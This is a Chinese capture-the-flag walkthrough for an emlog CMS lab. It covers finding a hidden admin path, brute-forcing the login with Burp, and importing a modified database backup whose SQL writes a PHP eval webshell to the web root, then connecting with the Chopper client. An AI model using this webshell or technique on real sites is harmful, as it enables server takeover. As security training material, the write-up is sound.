CMS系统漏洞分析溯源(第6题)
难易程度:★★★
题目类型:配置错误
使用工具:FireFox浏览器、burpsuite、direbuster
1.打开靶场,扫描一下网站。
我用了御剑和wwwscan都扫不出后台,最后用disbuster扫到了/servlets,但是响应301。尝试访问,不成功。这里是个坑,在/servlets后加多个/成功访问。
2.我们看到个人信息为mozhe777,尝试弱口令,登陆失败,但是发现了验证码不会变。
打开burpsuite,send to intruder暴力破解。找到密码为qwer1234。
3.登录后台,选择数据,备份emlog_blog数据库。
4.在数据库尾部加上sql语句。
drop table if exists emlog_shell;
create table emlog_shell(`cmd` longtext not null);
insert into emlog_shell values("<?php @eval($_POST['c']);?>");
select cmd from emlog_shell into outfile '/var/www/html/getshell.php';
drop table if exists emlog_shell;
5.保存,导入本地备份。
6.访问/getshell.php不显示没有该文件,证明上传成功。
7.打开菜刀连接。url为http://219.153.49.228:44240/getshell.php,密码为c。
8.在C盘根目录下找到key文件,打开获取key。